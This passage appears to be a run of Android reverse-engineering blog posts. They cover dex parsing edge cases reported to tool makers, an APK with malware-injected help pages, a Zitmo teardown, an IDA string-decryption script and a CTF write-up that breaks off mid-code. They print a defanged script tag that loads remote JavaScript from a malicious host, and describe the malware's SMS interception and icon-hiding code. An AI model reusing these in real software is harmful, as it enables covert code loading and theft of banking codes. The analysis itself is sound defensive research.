As people have seen in the past, I tend to have a fun time finding edge-cases which break tools. Often you can find these types of edge-cases while reading documentation and cross referencing the implementation of that in the systems your validating. A pretty good example of this is highlighted in my BlackHat 2012 talk, where I was looking at the header section, which is described as always have the value of 0×70. When looking at the open source tools, some checked to make sure this was true – others ignored it. The actual code in the Dex Verifier is as follows;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
if (okay) { state.pHeader = pHeader; if (pHeader->headerSize < sizeof(DexHeader)) { ALOGE("ERROR: Small header size %d, struct %d", pHeader->headerSize, (int) sizeof(DexHeader)); okay = false; } else if (pHeader->headerSize > sizeof(DexHeader)) { ALOGW("WARNING: Large header size %d, struct %d", pHeader->headerSize, (int) sizeof(DexHeader)); // keep going? } } |
From this we can see the actual implementation doesn’t care what the size of, as long as it is larger than the current structure size, which is 0×70. This allows for the verifier to be forward compatible, though if anyone was creating a tool and only read the documentation – this might not be fully understood or assumed.
This leads me to two extremely easy breakages which I never mentioned in my talk, but noticed IDA Pro 6.4 and Radare would fail against. The issue that IDA Pro and Radare broke against, was a bad file magic. According to the documentation the magic bytes are the following;
DEX_FILE_MAGIC
embedded in header_itemThe constant array/string DEX_FILE_MAGIC is the list of bytes that must appear at the beginning of a .dex file in order for it to be recognized as such. The value intentionally contains a newline (“\n” or 0x0a) and a null byte (“\0″ or 0×00) in order to help in the detection of certain forms of corruption. The value also encodes a format version number as three decimal digits, which is expected to increase monotonically over time as the format evolves.ubyte[8] DEX_FILE_MAGIC = { 0×64 0×65 0×78 0x0a 0×30 0×33 0×35 0×00 }
= “dex\n035\0″Note: At least a couple earlier versions of the format have been used in widely-available public software releases. For example, version 009 was used for the M3 releases of the Android platform (November–December 2007), and version 013 was used for the M5 releases of the Android platform (February–March 2008). In several respects, these earlier versions of the format differ significantly from the version described in this document.
So one might assume that the currently accepted magic bytes will be exactly “dex\n035\00″ – though, they would be wrong in assuming this. If we take a look at the code in DexFile.h;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
/* DEX file magic number */ #define DEX_MAGIC "dex\n" /* current version, encoded in 4 bytes of ASCII */ #define DEX_MAGIC_VERS "036\0" /* * older but still-recognized version (corresponding to Android API * levels 13 and earlier */ #define DEX_MAGIC_VERS_API_13 "035\0" ... /* (documented in header file) */ bool dexHasValidMagic(const DexHeader* pHeader) { const u1* magic = pHeader->magic; const u1* version = &magic[4]; if (memcmp(magic, DEX_MAGIC, 4) != 0) { ALOGE("ERROR: unrecognized magic number (%02x %02x %02x %02x)", magic[0], magic[1], magic[2], magic[3]); return false; } if ((memcmp(version, DEX_MAGIC_VERS, 4) != 0) && (memcmp(version, DEX_MAGIC_VERS_API_13, 4) != 0)) { /* * Magic was correct, but this is an unsupported older or * newer format variant. */ ALOGE("ERROR: unsupported dex version (%02x %02x %02x %02x)", version[0], version[1], version[2], version[3]); return false; } return true; } |
We can see that there are constant magic bytes of “dex\n”, but the versioning afterwards – which is loosely explained in the documentation, has multiple options. Since API level 14 on, the verifier has accepted both “036\00″ and “035\00″ as valid versioning parts of the magic bytes. Since the magic bytes are not part of the checksum or the signature of the dex file, one can simply bump the version number without any specialized tools, just doing it with a hex editor would be fine. This lead to Radare failing to load the file and IDA Pro to thinking the file was corrupt with the following dialog and log output;
|
1 2 3 |
Loading file '/Users/tstrazzere/reverse/targets/ida/classes-test.dex' into database... Detected file format: Android DEX file version 54.0 bad dex version (0x30 33 36 00) |
I originally reported this issue to January 22nd, 2013 and received a thank you and a fix back from them only two days later on the 24th. I’m unsure if they sent this out to all their customers or have it totally bundled into their latest packages, but you should easily be able to request it if not. For Radare I submitted a patch for this issue which was quickly merge upstream by the extremely proactive author of the tool.
The second breakage, which only directly effected IDA Pro, was revolving around the file size as dictated by the dex_header vs the actual file size. IDA Pro was comparing the two, and if they where not actually equal – assumes the file is corrupt. The documentation states, “size of the entire file (including the header), in bytes”, though the implementation of the code doesn’t actually care – as seen from the DexSwapVerify.cpp file;
|
1 2 3 4 5 6 7 8 9 10 11 |
if (okay) { int expectedLen = (int) SWAP4(pHeader->fileSize); if (len < expectedLen) { ALOGE("ERROR: Bad length: expected %d, got %d", expectedLen, len); okay = false; } else if (len != expectedLen) { ALOGW("WARNING: Odd length: expected %d, got %d", expectedLen, len); // keep going } } |
As we can see from above, if the actual length must be at least as large as the expected length, most likely to avoid any truncated files. Though it can easily be larger, which will just produce a warning – though processing of the dex file will continue. However, the same corrupt file dialog with this logging message comes up when loaded in IDA Pro;
|
1 2 3 |
Loading file '/Users/tstrazzere/reverse/targets/ida/classes-test.dex' into database... Detected file format: Android DEX file version 53.0 ERROR: stored file size (438844) != expected (438845) |
This was also fixed on the same timeline as the other issue I reported to Hex-Rays, so if you run across any files like this you will be prompted with this dialog;
Just two small little issues that came about when looking at the implementation of the file format. These edge-cases always seem to exist in ever system, especially when creating reversing/disassembling/analyzing tools.
A colleague of mine, specifically from a different AV vendor, was poking around some files and was curious as to what these somewhat odd files where;
VirusTotal Analysis Sha1: e4105ae117e62c784e26ae113a6119bd33a570cf
VirusTotal Analysis Sha1: 16111c45832a20914cfd9306501b406e2ae89b58
An apk (Android package) which is being detected by a ton of vendors, as having a javascript trojan dropper inside of it. Wait what? Is this some interesting new breed of Android malware, possibly leveraging USB attacks too!? Well, no – no it isn’t, it actually just is a curious case of cross-contamination.
These files appear to be “infected” inside the embedded HTML files;
|
1 2 3 4 5 6 |
champagne:html tstrazzere$ grep -ir "script" * | less cs/tethering_help.html:<script type="text/javascript" src="hxxp://web.nba1001.net:8888/tj/tongji.js"></script> cs/tethering_usb_help.html:<script type="text/javascript" src="hxxp://web.nba1001.net:8888/tj/tongji.js"></script> cs/tethering_wifi_help.html:<script type="text/javascript" src="hxxp://web.nba1001.net:8888/tj/tongji.js"></script> da/tethering_help.html:<script type="text/javascript" src="hxxp://web.nba1001.net:8888/tj/tongji.js"></script> ... |
We can see the offending code which is being flagged, nothing to do with any of the actual Android parts. We can see this is the actual detected part by just looking it up on VirusTotal.
|
1 2 |
champagne:html tstrazzere$ echo -n $'<script type="text/javascript" src="hxxp://web.nba1001.net:8888/tj/tongji.js"></script>' | shasum 3c4e3917661442be9ec92adf6ba5b93989a4dd7e - |
Which looking up that sha1 gives us;
VirusTotal Analysis Sha1: 3c4e3917661442be9ec92adf6ba5b93989a4dd7e
So does this seem intentional, or accidental? Was someone actually trying to infect Android devices, or was this just a strange mishap? I’m inclined to believe this was just a strange coincidence, both of the applications are the Android settings application, “com.android.settings” – and signed with the commonly found AOSP debug signer. What appears to have happened, is someone was compiling the AOSP, possibly for a custom ROM, and had these HTML files located on an infected host. The virus then infected these HTML files by injecting the javascript load code, and then these APKs where bundled. We can see that these where actually properly bundled;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
champagne:elad tstrazzere$ jarsigner -verbose -verify com.android.settings_1eaffc274ae549e0ecb4145857ae3fa6ad0fd3c5.apk 39208 Wed Apr 16 07:40:50 PDT 2008 META-INF/MANIFEST.MF 39250 Wed Apr 16 07:40:50 PDT 2008 META-INF/CERT.SF 1714 Wed Apr 16 07:40:50 PDT 2008 META-INF/CERT.RSA sm 53588 Wed Apr 16 07:40:50 PDT 2008 AndroidManifest.xml sm 1710 Wed Apr 16 07:40:50 PDT 2008 assets/html/cs/tethering_help.html sm 1027 Wed Apr 16 07:40:50 PDT 2008 assets/html/cs/tethering_usb_help.html sm 987 Wed Apr 16 07:40:50 PDT 2008 assets/html/cs/tethering_wifi_help.html sm 1433 Wed Apr 16 07:40:50 PDT 2008 assets/html/da/tethering_help.html sm 833 Wed Apr 16 07:40:50 PDT 2008 assets/html/da/tethering_usb_help.html sm 904 Wed Apr 16 07:40:50 PDT 2008 assets/html/da/tethering_wifi_help.html sm 1585 Wed Apr 16 07:40:50 PDT 2008 assets/html/de/tethering_help.html sm 922 Wed Apr 16 07:40:50 PDT 2008 assets/html/de/tethering_usb_help.html … s = signature was verified m = entry is listed in manifest k = at least one certificate was found in keystone i = at least one certificate was found in identity scope jar verified. |
The interesting part is that the signature did verify, meaning that at time of signing for this APK, that javascript file was included.
So did this actually do anything to the devices? No – not really, however there might be someone with a custom ROM which has all these files on their device. Since the url’s being added are all long since dead, there shouldn’t any adverse side effects. Though it would appear that the application is going to read the contents of the HTML files in, then load them into an AlertDialog – where that javascript should not actually perform any actions.
As a last side note – I did edit the output that is displayed in this blog to be “hxxp” opposed to “http”. When I didn’t do this, even though the scripts where not being executed, Google Safe Browsing was blocking me from ever seeing my own blog
Early last week, Denis from Kaspersky had blogged about a new Zitmo (Zeus in the Mobile) variant which was affecting both Android and Blackberry. After some digging I was finally able to turn up a sample for analysis. Originally I figured it would be the same old sample as before, wouldn’t do much and not be very sophisticated at all. Turns out I was half right, most of it was identical to previous samples – though I did learn new little trick from the malware this time around.
After I did a tear down I submitted a sample to Mila over at the Contagio Mobile Dump, so if you’d like to follow along the sample I was dissecting you can find it here.
|
1 2 3 |
Filename: zitmo.apk SHA256: 40286c6091c5a2d575702b1d88eaa94aa8eba524 MD5: e98791dffcc0a8579ae875149e3c8e5e |
Firing up our trusty keytool, we can see what the certificate is – try to get an estimated date when this file was created;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
champagne:zitmo-sample tstrazzere$ printcert contents/META-INF/*.RSA Owner: CN=Android Debug, O=Android, C=US Issuer: CN=Android Debug, O=Android, C=US Serial number: 5007c89d Valid from: Thu Jul 19 01:43:09 PDT 2012 until: Sat Jul 12 01:43:09 PDT 2042 Certificate fingerprints: MD5: A5:D9:08:26:EC:E0:74:4F:E8:89:35:53:F0:6E:28:55 SHA1: B3:23:BD:C7:A3:24:9F:C1:8E:85:44:A8:ED:09:2C:3A:41:3D:23:80 Signature algorithm name: SHA1withRSA Version: 3 champagne:zitmo-sample tstrazzere$ ls -l contents/META-INF/* -rw-r--r--@ 1 tstrazzere 776B Jul 24 07:12 contents/META-INF/CERT.RSA -rw-r--r--@ 1 tstrazzere 1.1K Jul 24 07:12 contents/META-INF/CERT.SF -rw-r--r--@ 1 tstrazzere 1.0K Jul 24 07:12 contents/META-INF/MANIFEST.MF |
So, assuming that the malware author hasn’t been messing around with timestamps, we can assume that the malware was created before or on July 24 of this year – and signed on that day as well. As a sanity check, the Android debug certificate validates this, since it was created before this date. This is in no way concrete that it was actually build/signed on that day – but it does give us a decent idea of the timeframe.
The next piece of interest lays within the AndroidManifest.xml – let’s see how the author intends this application to be started;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 |
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:installLocation="1" package="com.security.service"> <uses-permission android:name="android.permission.RECEIVE_SMS"> </uses-permission> <uses-permission android:name="android.permission.SEND_SMS"> </uses-permission> <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="16"> </uses-sdk> <application android:theme="@7F060000" android:label="@7F050000" android:icon="@7F020001" android:debuggable="true"> <activity android:theme="@7F060001" android:name="com.security.service.MainActivity"> <intent-filter> <category android:name="android.intent.category.LAUNCHER"> </category> <action android:name="android.intent.action.MAIN"> </action> </intent-filter> </activity> <receiver android:name="com.security.service.receiver.ActionReceiver" android:permission="android.permission.RECEIVE_BOOT_COMPLETED" android:enabled="true"> <intent-filter> <category android:name="android.intent.category.HOME"> </category> <action android:name="android.intent.action.BOOT_COMPLETED"> </action> <action android:name="android.intent.action.USER_PRESENT"> </action> </intent-filter> </receiver> <receiver android:name="com.security.service.receiver.SmsReceiver" android:enabled="true"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.SMS_RECEIVED"> </action> </intent-filter> </receiver> <receiver android:name="com.security.service.receiver.RebootReceiver" android:permission="android.permission.REBOOT" android:enabled="true"> <intent-filter> <action android:name="android.intent.action.REBOOT"> </action> <action android:name="android.intent.action.ACTION_SHUTDOWN"> </action> </intent-filter> </receiver> </application> </manifest> |
According the AndroidManifest above we can see the application has four main entry points;
- MainActivity – launched as the main activity, which should be visible by the launcher/tray
- ActionReceiver – launched when the HOME, BOOT_COMPLETED or USER_PRESENT intent is fired by the system
- SmsReceiver – launched when the SMS_RECEIVED intent is fired, with a priority of Integer.MAX_VALUE
- RebootReceiver – launched when the REBOOT or ACTION_SHUTDOWN intent is fired
This seemed like a bit to many receivers right off the bat, it seems odd that there is a reboot receiver – though maybe the author was trying to more than just intercept SMS messages? Let’s first dig into the code and see how the malware is looking to get started. Loading up IDA Pro and a terminal with baksmali, there is something we can notice right off away, the authors where using the latest Android SDK – there is a ton of support code in the android/support directory used for backwards compatibility. It’s actually a bit funny as there is more code in those files than the malware itself!
Looking at the MainActivity default create method, we can see the only code which a user might actually see when the malware is launched;
Essentially the bulk of the of the code is just checking a PersistenceManager object, which is just a wrapper for the normal Android SharedPreference object. This checks to see if the application has been run or not before. If the application has not been run, it will mark the first run as having occurred – followed by running the SmsReceiver.sendInintSms() function. This function, pictured below, gets the default admin number (+46769436094) and sends it the message “INOK”.
The next receiver to look at is the ActionReceiver. This is also very simple – essentially if the intent is either BOOT_COMPLETED or USER_PRESENT then it will attempt to kick of the MainActivity, which would cause the code above to be launched. This is also gated by the same isFirstLaunch function from the PersistenceManager class. The cleaned up code for this receiver is below, pretty self explanatory as well;
The main functionality of the malware is located where it has been for the last few Zitmo samples, inside the SmsReceiver. The onReceive method essentially houses a large switch statement which will allow the following commands to be parsed;
- “on” – replies “ONOK” if sent from admin #, then sets the sms interceptor on
- “off” – replies “OFOK” if sent from admin #, then sets the sms interceptor off
- “set admin ${#}” – replies “SAOK” if sent from admin #, then sets a new admin # to user
All of the commands above will have their broadcast aborted, so no other application should receive the SMS message. If any other SMS is received other than the commands above the code follows a simple path. It will abort the broadcast aborted and the message sent to the admin number in the format of: “message ${SMS_BODY}, F: ${SMS_SENDER}”. These basic commands, combined with the a PC infected with Zeus, is enough for the authors to programmatically intercept mTans for what would appear to be German bank users.
So what, right? I said there was something interesting about this malware – yet everything described has been old stuff. Well the interesting part for me happened when I looked at the last receiver, which didn’t seem like it would be necessary. The malware already has all the code it needs to function as normal, right? Well – it actually is going to attempt to hide itself from the user on a reboot. If we look back at the AndroidManifest.xml we can see the activity tag which lets the application appear in the launcher/tray of the device;
|
1 2 3 4 5 6 7 8 9 10 11 12 |
<activity android:theme="@7F060001" android:name="com.security.service.MainActivity"> <intent-filter> <category android:name="android.intent.category.LAUNCHER"> </category> <action android:name="android.intent.action.MAIN"> </action> </intent-filter> </activity> |
Previously, we’ve seen malware that avoids putting this into the manifest, trying to hide from the user. In this case, the malware does want to be found and hopefully executed by the user. The trick is, they only want this to be visible to the user for one boot. If we take a look at the RebootReceiver.onReceive function, we can see a simple code path that checks for the REBOOT or ACTION_SHUTDOWN intents. If either is caught by their receiver, it will call the MainActivity.hideIcon() function. The pseudo code for this function is as follows;
|
1 2 3 4 5 6 7 8 |
public static void hideIcon(Context context) { PackageManager packageManager = context.getPackageManager(); packageManager.setComponentEnabledSetting( new ComponentName("com.security.service", "com.security.service.MainActivity"), COMPONENT_ENABLED_STATE_DISABLED, DONT_KILL_APP); } |
This code will dynamically remove the receiver component, even though it is still set within the AndroidManifest.xml. This means on reboot, the icon will no longer be present inside the launch/tray of the device, but the other receivers should still remain active. While this isn’t rocket science – mainly just understand the Android APIs, it’s something I’ve never seen any malware do. Performing a few Google searches, it doesn’t seem to be something widely used or deployed in practice. I did perform a few searches though for applications that did this and found a few that used this to be “less annoying” to a user and hide when they where not wanted. This is also recommended for something like an option BOOT_COMPLETE intent, such as an option service that a user might not want from an application.
TL;DR – You can dynamically disable you competent in your Android application, effectively “hiding” yourself from a users launcher/tray.
During the research phase of my Blackhat talk, I was digging into detecting the default layout of a dexfile, as generated by the normal dx tool. Originally, my concept was that I wanted my tool to “stack” things inside the file the same way that the dalvik compiler would, though I couldn’t find any actual resources on what this actually looked like. After a few hours of digging through code on AOSP and tearing apart an actual dex file to look at the innards, I came up with the quick little ASCII diagram below;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 |
+--------------------------------------------------------------------+ | Dex header | * offsets and sizes of all sections | - default size 0x70 +--------------------------------------------------------------------+ | String_id_list | * offsets into data | - size: number of strings * 4 +--------------------------------------------------------------------+ | Type_id_list | * index into string_id_list | - size: number of types * 4 +--------------------------------------------------------------------+ | Proto_id_list | * index into string_id_list | * index into type_id_list | * offsets into data section (params) | - size: number of protos * 12 +--------------------------------------------------------------------+ | Field_id_list | * 2 indexes into type_id_list | * index into string_id_list | - size: number of fields * 8 +--------------------------------------------------------------------+ | Method_id_list | * index into Type_id_list | * index into Proto_id_list | * index into String_id_list | - size: number of methods * 8 +--------------------------------------------------------------------+ | Class_def_items | * 2 indexes into Type_id_list | * offsets into data for interfaces | * indexes into Type_id_list | * index into string_id_list for source file | * offsets into data for annotation | * offsets into data for annotation_set | * offsets into class data for annotation item | * offsets into data for class_data_items | * index into method_id | * offsets into data for static_values | * offsets into data for code_item | * offsets into data for debug_item | - size: number of classes * 20 +--------------------------------------------------------------------+ | Data section (default layout) | * annotation items | * code items | * annotation_directory | * interfaces | * parameters - used by proto section | * strings | * debug items | * annotation_sets | * static values | * class_data | * map list +--------------------------------------------------------------------+ |
The result of the APKfuscator actually ended up being quiet different than the above mappings. It’s definitely possibly to retain the structure, however the sections can easily be interchanged. The resulting sections from my tool look like the following;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 |
Above sections are identical as to layout, but could be shifted around if need be ... +--------------------------------------------------------------------+ | Data section (default layout) | * strings | * parameters (proto section) | * interfaces | * annotation items (visibility of item (flags), | annotation type, number of name, | encoded annotation) | * class annotations (size of items, offsets to items) | * annotation data (offset to class annotations, | fields size, methods size, | parameters size) | * code items | * class data | * static values | * debug items (currently stripped) | * map list +--------------------------------------------------------------------+ |
The patterns for the normal dx compiler appear to always lay out the same, so if someone has developed a post-compilation modification tool (i.e. – APKfuscator or (bak)smali), it might be possible to see that a dex file has been “changed”. If someone was to develop a tool to look for patterns about how this data is laid out, it could lead to some interesting results. Being able to detect these changes and patterns, run on a large enough scale, could be an interesting tactic to finding out whether or not someone has messed with a file quickly. Hopefully I’ll have more time to research this area and either prove or disprove this theory. Though, until then – hopefully the small ASCII layouts might help someone else with whatever work they’re doing on dalvik research.
It’s been almost a full week since my talk, Dex Education: Practicing Safe Dex, though I think I’m only now beginning to recover. The past few months have truly been a whirlwind of both working on dissecting malware at Lookout and working on putting together a solid presentation for BlackHat. So far I’ve been unable to draw a crowd like Charlie, though maybe someday I’ll have people sitting in the aisles fighting for a seat during a presentation. Until then the people who went will just have to deal with the extra legroom. Over all the presentation seemed to go over pretty well, some interesting chats afterwards with some smart people. A few people where interested in the slides and proof of concept code, so I told them I would tweet it and also make a blog post about it.
My slides are available here with the proof of concept code being hosted on my github page here. The proof of concept crackme code on the same github page as well shortly.
I’ve got some extra content that I wasn’t able to fit into the slide-deck, heck it was 96 slides as is after trimming some things out. While I didn’t intend to try and cover everything possible to break most analysis tools, I wanted to attempt to cover as much as possible. Over the course of a few days or weeks, I’ll try to roll out details in my blog about how certain things worked, mainly for people who where unable to attend the presentation, hear my explanations or ask me things at the conference. Feel free to reach out to me if there is anything I’ve missed or you would live a better explanation about.
A few people asked me about Blackhat and Defcon – wondering if it’s worth attending. So to step on a soap box just for a minute, I’ll give the mini speech that I normally tell people. Conferences are only worth what you put into them, go to talks that seem interesting and are outside of your direct field of work. Why attend talks outside the direct field of work? I’ve found it’s a great way to try and find different perspectives, which often can be related back into your own work and field. It is also quiet hard to appreciate a talk on something that you deal with daily, definitely very important to try and keep this in mind if you do see those types of talks. As a presenter myself, I found it exceptionally hard to not go too low level while still feeling like I can add value to everyone in the audience. After attending the talks you chose, meet the presenters and pick their brains, this is honestly where you can learn the most. As I have said, it’s really hard to make a presentation accessible for a whole audience, talking directly with these people will give you so much more information than the slides often do. The people you meet at the bars (for Blackhat @ Caesars goto the Galleria bar) are often people you talk to online already. Make friends, go outside that comfort zone and buy some people drinks. Most everyone is friendly, if they aren’t – don’t drink with them. Almost all conferences are worth going to, Blackhat and Defcon included, mainly due to the talent it attacks that you can find hanging out at the bars.
Probably the greatest thing about Blackhat for me was to meet some really great people I’ve only had the pleasure of talking to online. Talking with Mila, the mind behind Contagio Dump, was really great – able to pay her back a little for all the hard work she does with a beer or two. Got to talk with some of the original DroidSecurity (now AVG) guys, Elad and Oren, it’s never a dull moment talking to an Israeli reverse engineer – just look at Zuk. Another interesting person who I got to hang out with was along side me in the malware talk track, @snare. He did some crazy things with EFI rootkits for OSX, pretty scary and interesting stuff all in the same talk.
People often say it isn’t what you know, but who you know. I’d argue the security space is a ying and yang of both; to be a valuable (reverser) engineer you need to know your stuff and the people to help you succeed.
Enough on this soapbox, hopefully you enjoy the slides and code. If you ever run into me at a conference – let’s have a beer or two and chat.
Tonight there was a great meet up at the Lookout HQ, Mobile Security and Privacy – got to meet a bunch of really smart mobile developers. The topic at hand was one close to me, reverse engineering Android applications. The concept was to show developers how easy it is to do and to help them understand how an attacker might see their code. Along with showcasing the normal tools people use in their day to day lives one of my coworkers, Emil, gave a great little presentation on the overview of how reversing is done for Android. After the demonstration, Emil had some prepared crackmes for people to try, most of the engineers did surprisingly well for not having reversed anything before!
After talking with a few people who where asking about reversing, I completely forgot that I’ve never really mentioned 010 Editor. This is by far one of the best hex editors I’ve ever used, with an excellent ability to use templates. One of the best parts is, a little over half a year ago, they came out with a fully native OSX client. On top of that Jon Larimer has created a DEX template for it available on his github. This is definitely a great way to visualize a dex file and help look for anomalies in them.
Recently I’ve actually submitted some pull requests which Jon has accepted to better parse the dex files. They should be able to parse the latest dex files generated by the jellybean toolkit and even handle some “oddities” that I’ll be releasing at my BlackHat 2012 talk.
Along my route for completing my BlackHat talk, Dex Education: Practicing Safe Dex, I finally updated the small mode for emacs. It’s available on my github page. It should have color parsing for just about all the elements available inside a smali file – along with the newer jumbo opcodes.
Around the same time as my presentation at BlackHat, I’ll be posting the slides and proof of concepts to my github. So check back soon for some interesting way to break (and fix) disassembly/decompilation tools for Android.
Recently at Lookout we blogged about a newer flavor of Legacy Native (LeNa). This variant is extremely similar to the other ones we’ve found in the past and blogged about in October of 2011, the full tear down I wrote can be found in pdf form here. The samples for both LeNa.b and LeNa.c have been added to the Contagio Mini Dump
While going through some samples I decided to throw together a quick IDC script for IDA Pro to help decrypt the commands and variables without executing the code. The decryption isn’t hard, in fact it actually ends up just being an XOR with 0xFF. Though if anyone hasn’t ever dealt with IDA Pro or ARM, it might look a bit confusing at first. Below is the decryption function commented from one of specific samples of LeNa;
The IDC script is really simple, the current version can be found on github with the current version featured below;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
/* LeNa-Decryption.idc Simple decryption script for the LeNa.b/.c variants. Designed for use on the elf binary that LeNa drops, it works by decrypting the encrypted string and dropping the decrypted bytes as a comment where ever the string's pointer is used. The decryption is really easy (a MVNS), basically a xor to 0xFF Timothy Strazzere <Tim.Strazzere@lookout.com> March 2012 */ #include <idc.idc> static decrypt_string(void) { auto original_address, ptr, comment; // This is normally a pointer to a pointer, follow it original_address = ptr = Dword(ScreenEA()); // Make sure we retrieved a good address if (ptr == BADADDR) { Message("Unable to find a actual encrypted string's address!\n"); return; } // XOR until we hit the null byte of the string comment = ""; while(Byte(ptr) != 0x00) { comment = comment + sprintf("%s", Byte(ptr) ^ 0xFF); ptr++; } // Drop a comment at the address we originally where pointing too MakeRptCmt(original_address, "Decrypted value: " + comment); // Drop a comment on all xrefs to this auto xref = Dfirst(original_address); while(xref != BADADDR) { MakeRptCmt(xref, "Decrypted value: " + comment); xref = Dnext(original_address, xref); } // Drop a message in the output window Message("Decrypted string: %s\n", comment); } static main(void) { // Set hotkey for decryption routine if(AddHotkey('/', "decrypt_string") != IDCHK_OK) { Message("Something went wrong with adding a hotkey for the decryption routine"); } Message("Hotkey added!\n"); } |
The script should be really easy to follow, I tried to comment it well enough. Essentially when you load the script it will bind the function for decrypting to the “/” key. Find the pointer to the encrypted data like below;
Next just follow the pointer to it’s selection in the text section. Once the encrypted pointer is highlighted, simply hit the assigned hot-key “/” and let the script do it’s job. The script will dump the decrypted message to the output window and also add a comment next to the pointer as seen below;

The script also traverses back to all the cross references (xrefs) and will add a comment to all those spots where this variable is used.
Nothing too fancy or complicated, though it was a nice way to get into IDC scripts for IDA Pro. Also it’s a good way to start segwaying people who may only have used baksmali or dex2jar into using IDA Pro for ARM reversing.
It’s a bit amusing that this solution for the InsomniHack CTF challenge named “InsomniDroid” was written up past midnight because I couldn’t sleep. Regardless, this was typed up as a play-by-play analysis taken from my crib notes when I actually was solving the crackme, so try to bare with me as this may read a bit odd. While some of the steps might seem odd – I find it is often just easier to tackle each APK in the same manner. This sets up a nice way to quickly find the call-stack and how things get executed and where. When tackling this challenge, I attempted to only use baksmali, opposed to any other tools for simplicity and since not everyone has IDA Pro. Anyway, if you haven’t downloaded the challenge yet you can get it from root-me.org or from this local mirror (MD5: c2f94fd52c8f270e66d8b16e07fe93e4). If you haven’t solved the challenge yet, I’d recommend to stop reading here and give it a good try.
Starting off, we shoudl take a quick look at the AndroidManifest.xml through AXMLPrinter shows which is the main activity;
|
1 2 3 4 5 6 7 |
<activity android:label="@7F040001" android:name=".InsomniActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"></action> <category android:name="android.intent.category.LAUNCHER"> </category> </intent=filter> </activity> |
Now we see what where to start our search without opening the app yet, toss that crackme into baksmali and get ready for the output. No baksmali tricks in place, so we can just take a look right at the main activity, InsomniActivity. The only interesting bits for us is the call to compute method on keyBytes and setting an onClick listener for the validate button;
|
1 2 3 4 5 6 7 8 9 |
.line 24 sget-object v0, Lcom/fortiguard/insomnihack2012/challenge/Compute;->keyBytes:[B invoke-static {v0}, Lcom/fortiguard/insomnihack2012/challenge/Compute;->compute([B)V .line 26 iget-object v0, p0, Lcom/fortiguard/insomnihack2012/challenge/InsomniActivity;->validateBtn:Landroid/widget/Button; new-instance v1, Lcom/fortiguard/insomnihack2012/challenge/InsomniActivity$1; invoke-direct {v1, p0}, Lcom/fortiguard/insomnihack2012/challenge/InsomniActivity$1;-><init>(Lcom/fortiguard/insomnihack2012/challenge/InsomniActivity;)V invoke-virtual {v0, v1}, Landroid/widget/Button;->setOnClickListener(Landroid/view/View$OnClickListener;)V |
Seems weird that we’re computing something, though never doing anything with the returned result. Let’s just take note of that and come back later. If we look into the onClick listener (InsomniActivity$1) we can see what is going on deeper in the app;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
// boolean b = checkSecret(editTxt.getText.toString()); .line 30 iget-object v1, p0, Lcom/fortiguard/insomnihack2012/challenge/InsomniActivity$1;->this$0:Lcom/fortiguard/insomnihack2012/challenge/InsomniActivity; iget-object v1, v1, Lcom/fortiguard/insomnihack2012/challenge/InsomniActivity;->editTxt:Landroid/widget/EditText; invoke-virtual {v1}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v1 invoke-interface {v1}, Landroid/text/Editable;->toString()Ljava/lang/String; move-result-object v1 invoke-static {v1}, Lcom/fortiguard/insomnihack2012/challenge/Compute;->checkSecret(Ljava/lang/String;)Z move-result v0 // if(b == true) good_boy else bad_boy .line 31 .local v0, b:Z if-eqz v0, :cond_24 |
Here we can see the bulk of this onClick listener just grabs the text from the EditText widget and uses it as a parameter for the checkSecret function. Now onward to the checkSecret function;
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 |
.method public static checkSecret(Ljava/lang/String;)Z .registers 7 .parameter "input" .prologue .line 63 :try_start_0 // Get a sha-256 messagedisgest const-string v3, "SHA-256" invoke-static {v3}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest; move-result-object v1 // reset .line 64 .local v1, digest:Ljava/security/MessageDigest; invoke-virtual {v1}, Ljava/security/MessageDigest;->reset()V // get bytes of passed in string .line 65 invoke-virtual {p0}, Ljava/lang/String;->getBytes()[B move-result-object v3 // create new digest invoke-virtual {v1, v3}, Ljava/security/MessageDigest;->digest([B)[B move-result-object v0 // get secret hash that appears to be precomputed .local v0, computedHash:[B sget-object v3, Lcom/fortiguard/insomnihack2012/challenge/Compute;->secretHash:[B // compare digest's hash to the precomputed one invoke-static {v3, v0}, Ljava/util/Arrays;->equals([B[B)Z :try_end_16 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_16} :catch_1b move-result v3 if-eqz v3, :cond_35 .line 67 const/4 v3, 0x1 .line 73 .end local v0 #computedHash:[B .end local v1 #digest:Ljava/security/MessageDigest; :goto_1a return v3 // catch hashing exception .line 70 :catch_1b move-exception v3 move-object v2, v3 .line 71 .local v2, exp:Ljava/lang/Exception; const-string v3, "InsomniDroid" new-instance v4, Ljava/lang/StringBuilder; const-string v5, 